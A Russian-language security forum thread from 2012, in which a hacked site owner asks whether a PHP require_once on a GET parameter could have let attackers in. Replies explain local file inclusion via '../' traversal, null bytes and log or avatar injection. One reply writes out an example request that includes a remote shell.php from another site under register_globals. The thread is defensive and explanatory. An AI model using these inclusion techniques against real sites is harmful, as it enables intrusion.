Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Взлом и защита » Web приложения
Страницы: 1
RSS
PHP. Загрузка файла через require_once.
 
#1
Это нравится:0Да/0Нет
22.12.2012 12:33:24
Здравствуйте! Возможна ли загрузка файла на сайт в котором присутствует вот такой код? Возможно ли как-то затереть начало строки 'titles/' или сделать так, чтобы она не учитывалась? Может быть есть какие-то специальные unicode символы? Или ещё какой способ?
Код
<?php
if(isset($_GET['art']))   
$title='titles/'.$_GET['art'].'.php';
require_once($title);   
?>
 
 
 
#2
Это нравится:0Да/0Нет
22.12.2012 13:34:51
Насколько я знаю вы можете только переместится на каталог выше, передав в начало строки ../
 
 
 
#3
Это нравится:0Да/0Нет
22.12.2012 15:01:23
т.е. этот кусок кода никак не может быть связан с заливом шела на сайт?
У меня просто недавно взломали сайт. Сейчас пытаюсь обнаружить причину. И больше грешить вроде не на что.
 
 
 
#4
Это нравится:0Да/0Нет
22.12.2012 15:04:49
Почитайте про null-byte. В интернете полно информации по этому вопросу.
 
 
 
#5
Это нравится:0Да/0Нет
22.12.2012 15:48:12
Это локальный инклюд.
Для эксплуатирвоания уязвимости нужно каким либо образом записать уязвимый код на сервер. К слову - таких способов есть множество (загрузка кода в аватаре, инъектирование его в логи и пр.)
Риск такой уязвимости расценивается как высокий
При включенных register_globals имеется удаленный пхп инклюд
С учетом этого условия, риск уже критический

Данный код с большой вероятностью мог быть использован для взлома сайта.
 
 
 
#6
Это нравится:0Да/0Нет
22.12.2012 23:12:03
Цитата
phoenix пишет:
При включенных register_globals имеется удаленный пхп инклюд
Вы не могли бы поподробнее описать данный случай?
 
 
 
#7
Это нравится:0Да/0Нет
22.12.2012 23:36:26
Почитайте опять же про register_globals, в данном случае, переменной с title присваивается значение только если передан параметр art, если не передать параметр art, в вместо него передать title, например /script.php?title=http://other-site/shell.php то подключится файл со стороннего сервера, но это маловероятно, давно не встречал включенный register_globals. Я бы вам настоятельно порекомендовал ознакомится хотя-бы поверхностно с базовыми правилами написания хоть сколь-нибудь безопасных скриптов на php.
Да, и еще для эксплуатации этой уязвимости должен быть включен параметр  allow_url_fopen.
Изменено: Ayanami - 22.12.2012 23:38:09
 
 
 
#8
Это нравится:0Да/0Нет
23.12.2012 10:10:56
Спасибо! Обязательно изучу вопрос.
 
 
 
#9
Это нравится:0Да/0Нет
23.12.2012 10:32:16
Ayanami все правильно сказал.
Однако даже если удаленный инклюд не эксплуатируем в этом случае, то через локальный инклюд, который присутствует тут безусловно, взломать сайт более чем вероятно.
 
 
 
Страницы: 1
Читают тему